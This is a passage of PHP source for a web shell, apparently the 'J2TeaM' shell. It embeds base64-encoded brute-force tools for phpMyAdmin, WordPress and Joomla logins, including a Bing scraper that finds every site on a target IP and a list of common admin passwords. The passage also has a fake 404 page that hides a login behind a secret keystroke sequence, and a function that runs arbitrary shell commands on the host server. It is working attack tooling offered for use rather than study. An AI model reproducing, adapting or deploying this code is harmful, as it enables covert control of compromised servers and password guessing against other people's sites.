XIgPSBleHBsb2RlKCJcbiIsICR1c2VybmFtZXMpOw0KCWZvcmVhY2goJGV4dXNlciBhcyAkZXh1c2VyKXsNCgkJJGV4cGFzcyA9IGV4cGxvZGUoIlxuIiwgJHBhc3N3b3Jkcyk7DQoJCWZvcmVhY2goJGV4cGFzcyBhcyAkZXhwYXNzKSB7DQoJCQkkZXh1c2VyID0gc3RyX2lyZXBsYWNlKCRhcnJheSwgJycsICRleHVzZXIpOw0KCQkJJGV4cGFzcyA9IHN0cl9pcmVwbGFjZSgkYXJyYXksICcnLCAkZXhwYXNzKTsNCgkJCWJydXRlX3BocG15YWRtaW4odHJpbSgkc2VydmVyKSwgdHJpbSgkZXh1c2VyKSwgdHJpbSgkZXhwYXNzKSwgJHZlcik7DQoJCX0NCgl9DQp9DQpmdW5jdGlvbiBicnV0ZV9waHBteWFkbWluKCR1cmwsICR1c2VyLCAkcGFzcywgJHZlcmlvbiA9IDEpew0KCSRjaCA9IGN1cmxfaW5pdCgkdXJsKTsNCgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUlBXRCwgInskdXNlcn06eyRwYXNzfSIpOw0KCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAnY29va2llLnR4dCcpOw0KCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICdjb29raWUudHh0Jyk7DQoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDUpOw0KCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7DQoJaWYoJHZlcmlvbj09Mikgew0KCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJwbWFfdXNlcm5hbWU9eyR1c2VyfSZwbWFfcGFzc3dvcmQ9eyRwYXNzfSZzZXJ2ZXI9MSZ0YXJnZXQ9aW5kZXgucGhwIik7IA0KCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KCQkkZXhlYz1jdXJsX2V4ZWMoJGNoKTsNCgkJY3VybF9jbG9zZSgkY2gpOw0KCQlpZihzdHJwb3MoJGV4ZWMsICcjMTA0NScpID09PSBGQUxTRSkgZWNobyAiPHA+U3VjY2VzczogdXNlcm5hbWUgJ3skdXNlcn0nIGFuZCBwYXNzd29yZCAneyRwYXNzfSc8L3A+IjsNCgl9IGVsc2Ugew0KCQkkZXhlYyA9IGN1cmxfZXhlYygkY2gpOw0KCQljdXJsX2Nsb3NlKCRjaCk7DQoJCWlmKHN0cnBvcygkZXhlYywgJ1dyb25nIHVzZXJuYW1lJykgPT09IEZBTFNFKSBlY2hvICI8cD5TdWNjZXNzOiB1c2VybmFtZSAneyR1c2VyfScgYW5kIHBhc3N3b3JkICd7JHBhc3N9JzwvcD4iOw0KCX0NCn0NCj8+DQo8L2Rpdj4NCjwvYm9keT4NCjwvaHRtbD4=';
1926 $J2TeaM->make_file('./', 'phpMyAdmin_brute.php', $code);
1927 p('<div align="center">');
1928 p($J2TeaM->get_frame('phpMyAdmin_brute.php', '48%'));
1929 formfooter('Remove');
1930 p('</div>');
1931 }
1932}
1933
1934elseif ($action == 'wp_joomla_brute') {
1935 if (check_str($disable_functions, 'fopen')) alert('Error: fopen() has been disabled.');
1936 else {
1937 if ($rm_temp && $rm_temp == 'yes') {
1938 @unlink(SA_ROOT . 'WP_Joomla_brute.php');
1939 header('Location: ' . SELF);
1940 exit;
1941 }
1942 formhead(array('title' => 'WordPress & Joomla Brute Force'));
1943 makehide('action', $action);
1944 makehide('rm_temp', 'yes');
1945 $code = 'PD9waHANCkBzZXRfdGltZV9saW1pdCgwKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCiR2ZXJzaW9uID0gJzEuMCc7DQokU0YgPSBuZXcgU2Vjb25kYWlyZV9GdW5jcygpOw0KaWYoJF9QT1NUWydnZXQnXSkgew0KCSRiaW5nID0gbmV3IHNzX2JpbmcoKTsNCgkkdXJscyA9ICRiaW5nLT5zZWFyY2goImlwOiIuJF9QT1NUWydpcCddLiIgIi4kX1BPU1RbJ3dodCddLDApOw0KCWZvcmVhY2goJHVybHMgYXMgJHVybCkgew0KCQkkY2xlYW5bXSA9ICgkX1BPU1RbJ3dodCddID09ICIvP3BhZ2VfaWQ9IikgPyAkU0YtPndwKCR1cmwpOiRTRi0+am9zKCR1cmwpOw0KCX0NCgkkdHh0YjB4ID0gaW1wbG9kZSgiXG4iLCBhcnJheV91bmlxdWUoJGNsZWFuKSk7DQp9DQokYmYgPSBuZXcgd3Bfam9zX19iZigpOw0KJHNpdGVzID0gZXhwbG9kZSgiXG4iLCRfUE9TVFsnc2l0ZXMnXSk7DQokcHdkcyA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbJ3B3ZHMnXSk7DQppZigkX1BPU1RbJ3N0YXJ0J10pIHsNCmVjaG8gIjxzdHlsZT4qeyBmb250LWZhbWlseTp0YWhvbWE7IGZvbnQtc2l6ZToxMjsgfQ0KaW5wdXQsIHRleHRhcmVhLHNlbGVjdCB7Ym9yZGVyOiAxcHggc29saWQgIzU4RkFGNDt9PC9zdHlsZT4iOw0KJHMgPSBnZXRtaWNyb3RpbWUoKTsNCmZvcmVhY2goJHB3ZHMgYXMgJHB3ZCl7IGZvcmVhY2goJHNpdGVzIGFzICRzaXRlKSB7DQokcCA9IGFycmF5KGNsbigkc2l0ZSksJF9QT1NUWydhZG1pbiddLGNsbigkcHdkKSk7DQojIGgzcjMgYnJ1dGUgZnVuY3MgIQ0KZWNobyAoJF9QT1NUWyd3aHQnXSA9PSAiLz9wYWdlX2lkPSIpID8gJGJmLT53cF9iZigkcFswXSwkcFsxXSwkcFsyXSk6JGJmLT5qMHNfYmYoJHBbMF0sJHBbMV0sJHBbMl0pOw0KZmx1c2goKTtmbHVzaCgpOw0KfX0NCkB1bmxpbmsoJ2Nvb2tpZS50eHQnKTsNCiRlID0gZ2V0bWljcm90aW1lKCk7DQpfZW5kKCk7DQp9DQojIE5vcm1hbCBmdW5jcyAuLg0KZnVuY3Rpb24gZ2V0bWljcm90aW1lKCkgew0KCWxpc3QoJHVzZWMsICRzZWMpID0gZXhwbG9kZSgiICIsbWljcm90aW1lKCkpOw0KCXJldHVybiAoKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpOw0KfQ0KDQpmdW5jdGlvbiBfZW5kKCl7IGdsb2JhbCAkcywkZTsgJHRpbWUgPSAocm91bmQoJGUtJHMpID4gNjApID8gKHJvdW5kKCRlLSRzKS82MCkuIiBNaW51dGUiOnJvdW5kKCRlLSRzKS4iIFNlY29uZCI7IGRpZSgiPGhyPjxpPkZpbmlzaGVkIC4uIGluICR0aW1lICEgPGEgaHJlZj0namF2YXNjcmlwdDpoaXN0b3J5LmJhY2soMSknPkJhY2sgITwvYT4iKTsgfQ0KIyBcbiAsIFxyDQpmdW5jdGlvbiBjbG4oJHZhbHVlKXsgIHJldHVybiBzdHJfcmVwbGFjZShhcnJheSgiXG4iLCJcciIpLCIiLCR2YWx1ZSk7IH0NCmNsYXNzIFNlY29uZGFpcmVfRnVuY3N7DQpwdWJsaWMgZnVuY3Rpb24gd3AoJHNpdGUpeyBwcmVnX21hdGNoX2FsbCgiIyguKj8pP3BhZ2VfaWQjIiwkc2l0ZSwkcmVzKTsgcmV0dXJuIEBzdHJfcmVwbGFjZSgiPyIsIiIsQCRyZXNbMV1bMF0pOyB9DQpwdWJsaWMgZnVuY3Rpb24gam9zKCRzaXRlKXsgcHJlZ19tYXRjaF9hbGwoIiMoLio/KS9pbmRleC5waHAjIiwkc2l0ZSwkcmVzKTsgcmV0dXJuIEBzdHJfcmVwbGFjZSgiaW5kZXgucGhwIiwiIixAJHJlc1sxXVswXSkuIi8iOyB9DQp9DQpjbGFzcyB3cF9qb3NfX2Jmew0KIyBXb3JkUHJlc3MgQnJ1dGUgRm9yY2UNCnB1YmxpYyBmdW5jdGlvbiB3cF9iZigkc2l0ZSwkdXNlciwkcGFzcyl7DQokcG9zdCA9IGFycmF5KCdsb2cnPT4kdXNlciwncHdkJz0+JHBhc3MsJ3dwLXN1Ym1pdCc9PidMb2crSW4nKTsNCmlmKGVyZWdpKCdsb2dvdXQnLER6Q1VSTCgkc2l0ZS4id3AtbG9naW4ucGhwIiwwLDEsJHBvc3QpKSl7DQpyZXR1cm4gIjxiPiMgRG9uZSA6ICR1c2VyOiRwYXNzIC0+IDxhIGhyZWY9JyIuJHNpdGUuIndwLWxvZ2luLnBocCc+JHNpdGU8L2E+PC9iPjxCUj4iOw0KfWVsc2V7IHJldHVybiAiIyBGYWlsZWQgOiAkdXNlcjokcGFzcyAtPiAkc2l0ZTxCUj4iOyB9DQp9DQojIEpvb21sYSBCcnV0ZSBGb3JjZQ0KcHVibGljIGZ1bmN0aW9uIGowc19iZigkc2l0ZSwkdXNlciwkcGFzcyl7DQokdXJsID0gJHNpdGUuImFkbWluaXN0cmF0b3IvaW5kZXgucGhwIjsNCnByZWdfbWF0Y2hfYWxsKCIjKFswLTlhLWZdezMyfSkjIiAsRHpDVVJMKCR1cmwsMSwxLDApLCR0b2tlbik7DQokcG9zdCA9IGFycmF5KCd1c2VybmFtZSc9PiR1c2VyLCdwYXNzd2QnPT4kcGFzcywnbGFuZyc9Pidlbi1HQicsJ29wdGlvbic9Pidjb21fbG9naW4nLCd0YXNrJz0+J2xvZ2luJywkdG9rZW5bMF1bMF09PjEpOw0KaWYoZXJlZ2koJ2xvZ291dCcsRHpDVVJMKCR1cmwsMSwwLCRwb3N0KSkpew0KcmV0dXJuICI8Yj4jIERvbmUgOiAkdXNlcjokcGFzcyAtPiA8YSBocmVmPSckdXJsJz4kc2l0ZTwvYT48L2I+PEJSPiI7DQp9ZWxzZXsgcmV0dXJuICIjIEZhaWxlZCA6ICR1c2VyOiRwYXNzIC0+ICRzaXRlPEJSPiI7IH0NCn0NCn0NCiMgZHpjdXJsDQpmdW5jdGlvbiBEekNVUkwoJHVybCwkY29va2llX3JlYWQsJGNvb2tpZV93cml0ZSwkUE9TVHMpew0KJGN1cmw9Y3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VUkwsJHVybCk7DQooJGNvb2tpZV9yZWFkKSA/IGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09PS0lFRklMRSxnZXRjd2QoKS4nL2Nvb2tpZS50eHQnKToiIjsNCigkY29va2llX3dyaXRlKSA/IGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09PS0lFSkFSLGdldGN3ZCgpLicvY29va2llLnR4dCcpOiIiOw0KY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDUuMTsgcnY6Mi4wLjEpIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvNC4wLjEgRHpDVVJMID0pJyk7DQpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLDEpOw0KaWYoaXNfYXJyYXkoJFBPU1RzKSl7DQpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1BPU1QsMSk7DQpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1BPU1RGSUVMRFMsJFBPU1RzKTsNCn0NCmN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVElNRU9VVCw1KTsNCiRleGVjPWN1cmxfZXhlYygkY3VybCk7DQpjdXJsX2Nsb3NlKCRjdXJsKTsNCnJldHVybiAkZXhlYzsNCn0NCg0KIyBiaW5nIGNsYXNzICwsDQpjbGFzcyBzc19iaW5new0KcHVibGljIGZ1bmN0aW9uIHNlYXJjaCgkd2h0LCR1cmxfbW9kZSl7IC8vICR3aHQgPSA+IHNlYXJjaCAgLCAkdXJsX21vZGU9MSA9PiBjbGVhbiB1cmwgKGh0dHA6Ly9zaXRlLnRsZC8pICR1cmxfbW9kZT0wID0+IG5vdCBjbGVhbiAoaHR0cDovL3NpdGUudGRsL3BhZ2U9Z29vZ2xlKQ0KJHdodCA9IHN0cl9yZXBsYWNlKCIgIiwiKyIsJHdodCk7DQokbnBhZ2VzID0gNTAwMDA7DQokbnBhZ2UgPSAxOw0KJGFsbExpbmtzID0gYXJyYXkoKTsNCndoaWxlKCRucGFnZSA8PSAkbnBhZ2VzKQ0Kew0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAnaHR0cDovL3d3dy5iaW5nLmNvbS9zZWFyY2g/cT0nLiR3aHQuJyZmaXJzdD0nLiRucGFnZSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDUpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFRkVSRVIsICdodHRwOi8vd3d3LmJpbmcuY29tLycpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOS4wLjgpIEdlY2tvLzIwMDkwMzI2MDkgRmlyZWZveC8zLjAuOCcpOw0KJHJlc3VsdFsnRVhFJ10gPSBjdXJsX2V4ZWMoJGNoKTsNCiRyZXN1bHRbJ0VSUiddID0gY3VybF9lcnJvcigkY2gpOw0KY3VybF9jbG9zZSgkY2gpOw0KaWYgKCEkcmVzdWx0WydFUlInXSkNCnsNCnByZWdfbWF0Y2hfYWxsKCcoPGRpdiBjbGFzcz0ic2JfdGxzdCI+Lio8aDM+Lio8YSBocmVmPSIoLiopIi4qPiguKik8L2E+Lio8L2gzPi4qPC9kaXY+KXNpVScsICRyZXN1bHRbJ0VYRSddLCAkZmluZGxpbmspOw0KZm9yICgkaSA9IDA7ICRpIDwgY291bnQoJGZpbmRsaW5rWzFdKTsgJGkrKykNCiRtb2RlID0gKCR1cmxfbW9kZSA9PSAxKSA/ICRhbGxMaW5rc1tdID0gJHRoaXMtPmNsZWFuX3VybCgkZmluZGxpbmtbMV1bJGldKSA6ICRhbGxMaW5rc1tdID0gJGZpbmRsaW5rWzFdWyRpXTsNCiRucGFnZSA9ICRucGFnZSArIDEwOw0KaWYgKHByZWdfbWF0Y2goJyhmaXJzdD0nIC4gJG5wYWdlIC4gJyZhbXApc2lVJywgJHJlc3VsdFsnRVhFJ10sICRsaW5rc3VpdikgPT0gMCkNCmJyZWFrOw0KfQ0KZWxzZQ0KYnJlYWs7DQp9DQppZihjb3VudCgkYWxsTGlua3MpID09IDApew0KZGllKCIjIE5vdGhpbmcgRm91bmQiKTsNCn1lbHNlew0KZm9yZWFjaCAoJGFsbExpbmtzIGFzICRrayA9PiAkdnYpeyAkYWxsRG1uc1tdID0gJHZ2OyB9DQpyZXR1cm4gYXJyYXlfdW5pcXVlKCRhbGxEbW5zKTsNCn0NCn0NCnB1YmxpYyBmdW5jdGlvbiBjbGVhbl91cmwoJHgpeyAkej1wYXJzZV91cmwoJHgpOyByZXR1cm4gJHpbJ3NjaGVtZSddLiI6Ly8iLiR6Wydob3N0J10uIi8iOzsgfQ0KfQ0KDQojIGh0bWwNCmVjaG8gJw0KPCFkb2N0eXBlIGh0bWw+DQo8aHRtbD48aGVhZD4NCjxtZXRhIGNvbnRlbnQ9ImZyIiBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIj4NCjxtZXRhIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTIiIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSI+DQo8dGl0bGU+I34gV29yZFByZXNzICZhbXA7IEpvb21sYSBCcnV0ZSBGb3JjZSBUb29sIHYnLiR2ZXJzaW9uLicgPC90aXRsZT4NCjxzdHlsZT4qeyBmb250LWZhbWlseTp0YWhvbWE7IGZvbnQtc2l6ZToxMjsgfQ0KaW5wdXQsIHRleHRhcmVhLHNlbGVjdCB7DQpib3JkZXI6IDFweCBzb2xpZCAjMEYwOw0KYm9yZGVyLXJhZGl1czogMnB4Ow0KYmFja2dyb3VuZC1jb2xvcjogIzAwMDsNCmNvbG9yOiAjMEYwOw0KfQ0KYm9keQ0Kew0KYmFja2dyb3VuZDojMTExOw0KZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3Ow0KZm9udC1zaXplOiAxMnB0Ow0KZm9udC13ZWlnaHQ6IDQwMDsNCmNvbG9yOiAjMEYwOw0KdGV4dC1hbGlnbjogY2VudGVyOw0KfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+DQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJDb3VyaWVyIE5ldyIgc2l6ZT0iMiI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjRkYwMDAwIj4jfiA8L3NwYW4+IDxzZWxlY3QgbmFtZT0id2h0IiBzaXplPSIxIj4nOw0KJF93aHQgPSBhcnJheSgnPG9wdGlvbiB2YWx1ZT0iaW5kZXgucGhwP29wdGlvbj1jb20iPkpvb21sYTwvb3B0aW9uPicsJzxvcHRpb24gdmFsdWU9Ii8/cGFnZV9pZD0iPldvcmRQcmVzczwvb3B0aW9uPicpOw0KZWNobyAoJF9QT1NUWyd3aHQnXSA9PSAnaW5kZXgucGhwP29wdGlvbj1jb20nKT8gJF93aHRbMF0uJF93aHRbMV06JF93aHRbMV0uJF93aHRbMF07DQplY2hvICc8L3NlbGVjdD4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjMEYwIj5CcnV0ZSBGb3JjZSBUb29sIHYnLiR2ZXJzaW9uLicgPC9zcGFuPjwvZm9udD48L3A+DQo8aHIgd2lkdGg9IjQ4JSI+DQo8cCBhbGlnbj0iY2VudGVyIj4NCjxmb250IGZhY2U9IkNvdXJpZXIgTmV3Ij4NCjx0ZXh0YXJlYSByb3dzPSIyMCIgbmFtZT0ic2l0ZXMiIGNvbHM9IjQwIj4nLiR0eHRiMHguJzwvdGV4dGFyZWE+Jm5ic3A7DQo8dGV4dGFyZWEgY29scz0iNDAiIG5hbWU9InB3ZHMiIHJvd3M9IjIwIj4NCmFkbWluDQoxMjM0DQoxMjM0NQ0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQphZG1pbg0KQWRtaW4NCmFkbWluaXN0cmF0ZXVyDQpBZG1pbmlzdHJhdGV1cg0KYWRtaW5pc3RyYXRvcg0KQWRtaW5pc3RyYXRvcg0Kc3VwZXJhZG1pbg0KU3VwZXJBZG1pbg0KZWRpdG9yDQpFZGl0b3INCjEyMzQ1NmFiYw0KYWRtaW4xMjMNCmFkbWluMTIzKg0KQGFkbWluDQpAZG1pbjEyMw0KQGRtaW4xMjMqDQpwYSQkdzByZA0KMTIzNDVhYmMNCnJpbTEyMw0KbWFzdGVyDQpNYXN0ZXINCm1hc3RlcjEyMw0KTWFzdGVyMTIzDQptYXN0ZXIxMjMqDQpNYXN0ZXIxMjMqDQo8L3RleHRhcmVhPjwvZm9udD48L3A+DQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJWZXJkYW5hIj48Zm9udCBzaXplPSIyIj5JUCA6IDwvZm9udD4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiB2YWx1ZT0iJy4kX1BPU1RbJ2lwJ10uJyIgc2l6ZT0iMjYiIG5hbWU9ImlwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHZXQgU2VydmVyIFNpdGVzIC4uIiBuYW1lPSJnZXQiPg0KPGlucHV0IHR5cGU9InRleHQiIHZhbHVlPSJhZG1pbiIgc2l6ZT0iNiIgbmFtZT0iYWRtaW4iPiA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdGFydCIgdmFsdWU9IlN0YXJ0IEJydXRlRm9yY2UgLi4iPjwvZm9udD48L3A+DQo8L2Zvcm0+DQo8aHIgd2lkdGg9IjQ4JSI+DQo8Y2VudGVyPjxmb250IGZhY2U9IkNvdXJpZXIgTmV3IiBzaXplPSIxIiBjb2xvcj0iZ3JleSI+DQpCeSBbIExhZ3JpcGUtRHogXSBBbGdlcmlhDQo8L2ZvbnQ+PC9jZW50ZXI+DQo8L2JvZHk+PC9odG1sPic7';
1946 $J2TeaM->make_file('./', 'WP_Joomla_brute.php', $code);
1947 p('<div align="center">');
1948 p($J2TeaM->get_frame('WP_Joomla_brute.php', '70%', '560px'));
1949 formfooter('Remove');
1950 p('</div>');
1951 }
1952}
1953
1954else alert('Undefined Action');
1955?>
1956</td></tr></table>
1957<?php footer(); ?>
1958</body>
1959</html>
1960<?php
1961// Functions
1962function footer() {
1963 global $J2TeaM;
1964 echo '<div style="padding:10px;background:#0E0E0E;"><span style="float:right;">' . debug() . '</span>Powered by ' . $J2TeaM->get_url('https://junookyo.blogspot.com/', SHELL_TITLE, '', '_blank') . ' - Developed by ' . $J2TeaM->get_url('http://junookyo.blogspot.com/', 'Juno_okyo', '', '_blank') . '. Copyright © ' . date('Y') . ' ' . $J2TeaM->get_url('https://www.facebook.com/JunoOkyoBlog', SHELL_TEAM, '', '_blank') . '. All Rights Reserved.</div>';
1965 ob_end_flush();
1966}
1967function alert($msg) {
1968 echo '<div style="background: #111;border: 1px solid #0F0;padding:15px;font-size:14px;text-align:center;font-weight:bold;color:#FF0;margin-bottom:15px;">' . $msg . '</div>';
1969}
1970function scookie($key, $value, $life = 0, $prefix = 1) {
1971 global $admin, $timestamp, $_SERVER;
1972 $key = ($prefix ? $admin['cookie_pre'] : '').$key;
1973 $life = $life ? $life : $admin['cookie_life'];
1974 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1975 setcookie($key, $value, $timestamp+$life, $admin['cookie_path'], $admin['cookie_domain'], $useport);
1976}
1977function multi($num, $perpage, $curpage, $tablename) {
1978 $multipage = '';
1979 if($num > $perpage) {
1980 $page = 10;
1981 $offset = 5;
1982 $pages = @ceil($num / $perpage);
1983 if($page > $pages) {
1984 $from = 1;
1985 $to = $pages;
1986 } else {
1987 $from = $curpage - $offset;
1988 $to = $curpage + $page - $offset - 1;
1989 if($from < 1) {
1990 $to = $curpage + 1 - $from;
1991 $from = 1;
1992 if(($to - $from) < $page && ($to - $from) < $pages) $to = $page;
1993 } elseif($to > $pages) {
1994 $from = $curpage - $pages + $to;
1995 $to = $pages;
1996 if(($to - $from) < $page && ($to - $from) < $pages) $from = $pages - $page + 1;
1997 }
1998 }
1999 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
2000 for($i = $from; $i <= $to; $i++) {
2001 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
2002 }
2003 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
2004 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
2005 }
2006 return $multipage;
2007}
2008function loginpage() {
2009 error_reporting(0);
2010 header('HTTP/1.0 404 Not Found');
2011 global $err_mess;
2012 $jquery = URL_JQUERY;
2013 echo <<<HTML
2014<!doctype html>
2015<html>
2016<head>
2017<title>404 Not Found</title>
2018<link rel="stylesheet" href="data:text/css;base64,I2xvZ2luIHttYXJnaW4tdG9wOiAyMDBweDt0ZXh0LWFsaWduOiBjZW50ZXI7ZGlzcGxheTpub25lO31pbnB1dCB7Ym9yZGVyOiAxcHggZGFzaGVkICMwRjA7Ym9yZGVyLXJhZGl1czogMnB4O2JhY2tncm91bmQtY29sb3I6ICMwMDA7Y29sb3I6ICMwRjA7Zm9udC1mYW1pbHk6IFZlcmRhbmE7Zm9udC1zaXplOiAxNHB4O31pbnB1dFt0eXBlPSJwYXNzd29yZCJdIHt3aWR0aDogMjAwcHg7cGFkZGluZzogNnB4O31pbnB1dFt0eXBlPSJzdWJtaXQiXSB7Zm9udC13ZWlnaHQ6IGJvbGQ7cGFkZGluZzogNXB4O2N1cnNvcjogcG9pbnRlcjt9aW5wdXRbdHlwZT0icGFzc3dvcmQiXTpob3ZlciwgaW5wdXRbdHlwZT0ic3VibWl0Il06aG92ZXIge2JvcmRlcjogMXB4IHNvbGlkICMwRjA7fWlucHV0W3R5cGU9InN1Ym1pdCJdOmhvdmVyIHtiYWNrZ3JvdW5kLWNvbG9yOiAjMTExO30=" />
2019</head>
2020<body>
2021<div id="404">
2022 <h1>Not Found</h1>
2023 <p>The requested URL {$_SERVER['PHP_SELF']} was not found on this server.</p>{$err_mess}
2024</div>
2025<div id="login">
2026 <form method="post" action="" onsubmit="loading();">
2027 <input type="password" placeholder="Password" maxlength="6" name="pwd" required />
2028 <input type="hidden" name="do" value="login" />
2029 <input type="submit" value="Login" />
2030 </form>
2031</div>
2032<script type="text/javascript" src="{$jquery}"></script>
2033<script type="text/javascript">
2034$(document) .ready(function () {
2035 var pwd = String.fromCharCode(74, 50, 84, 101, 97, 77);
2036 var pwdType = '';
2037 $(this) .keydown(function (e) {
2038 var key = e.which;
2039 if (e.ctrlKey && key == 85) return false;
2040 if (pwdType == '[END]') pwdType = '';
2041 if (key == 74) pwdType += pwd[0];
2042 else if (key == 50) pwdType += pwd[1];
2043 else if (key == 84) pwdType += pwd[2];
2044 else if (key == 69) pwdType += pwd[3];
2045 else if (key == 65) pwdType += pwd[4];
2046 else if (key == 77) pwdType += pwd[5];
2047 else pwdType = '';
2048 if (pwdType.indexOf(pwd) >= 0) {
2049 pwdType = '[END]';
2050 $('#404').fadeOut('slow', function () {
2051 $('body').css({'background-color': '#333'}).fadeIn(1000, function() {
2052 $('title').text('Checked by Juno_okyo');
2053 $('#login').slideDown('slow');
2054 $('input[type="password"]').focus();
2055 });
2056 });
2057 }
2058 });
2059});
2060function loading() {
2061 $('input[type="submit"]').val('Loading...');
2062}
2063</script>
2064</body>
2065</html>
2066HTML;
2067 exit;
2068}
2069function execute($cfe) {
2070 $res = '';
2071 if ($cfe) {
2072 if(getFunc('exec')) {
2073 @exec($cfe, $res);
2074 $res = join("\n", $res);
2075 } elseif(getFunc('shell_exec')) {
2076 $res = @shell_exec($cfe);
2077 } elseif(getFunc('system')) {
2078 @ob_start();
2079 @system($cfe);
2080 $res = @ob_get_contents();
2081 @ob_end_clean();
2082 } elseif(getFunc('passthru')) {
2083 @ob_start();
2084 @passthru($cfe);
2085 $res = @ob_get_contents();
2086 @ob_end_clean();
2087 } elseif(@is_resource($f = @popen($cfe,"r"))) {
2088 $res = '';
2089 while( ! @feof($f)) $res .= @fread($f,1024);
2090 @pclose($f);
2091 }
2092 }
2093 return $res;
2094}
2095function which($pr) {
2096 $path = execute("which {$pr}");
2097 return ($path ? $path : $pr);
2098}
2099function cf($fname,$text){
2100 if($fp=@fopen($fname,'w')) {
2101 @fputs($fp,@base64_decode($text));
2102 @fclose($fp);
2103 }
2104}
2105function dirsize($dir) {
2106 $dh = @opendir($dir);
2107 $size = 0;
2108 while($file = @readdir($dh)) {
2109 if ($file != '.' && $file != '..') {
2110 $path = $dir.'/'.$file;
2111 $size += @is_dir($path) ? dirsize($path) : @filesize($path);
2112 }
2113 }
2114 @closedir($dh);
2115 return $size;
2116}
2117function debug() {
2118 global $starttime;
2119 $mtime = explode(' ', microtime());
2120 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
2121 return 'Processed in <font color="#0F0"><strong>'.$totaltime.'</strong></font> second(s)';
2122}
2123function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
2124 global $charsetdb;
2125 @ini_set('mysql.connect_timeout', 5);
2126 if( ! $link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
2127 alert('<h2>Can not connect to MySQL server</h2>');
2128 footer();
2129 exit;
2130 }
2131 if($link && $dbname) {
2132 if ( ! @mysql_select_db($dbname, $link)) {
2133 alert('<h2>Database selected has error</h2>');
2134 footer();
2135 exit;
2136 }
2137 }
2138 if($link && mysql_get_server_info() > '4.1') {
2139 if($charset && in_array(strtolower($charset), $charsetdb))
2140 q("SET character_set_connection={$charset}, character_set_results={$charset}, character_set_client=binary;", $link);
2141 }
2142 return $link;
2143}
2144
2145// Array strip
2146function s_array(&$array) {
2147 if (is_array($array)) {
2148 foreach ($array as $k => $v) {
2149 $array[$k] = s_array($v);
2150 }
2151 } elseif (is_string($array)) $array = stripslashes($array);
2152 return $array;
2153}
2154function html_clean($content) {
2155 $content = htmlspecialchars($content);
2156 $content = str_replace("\n", '<br />', $content);
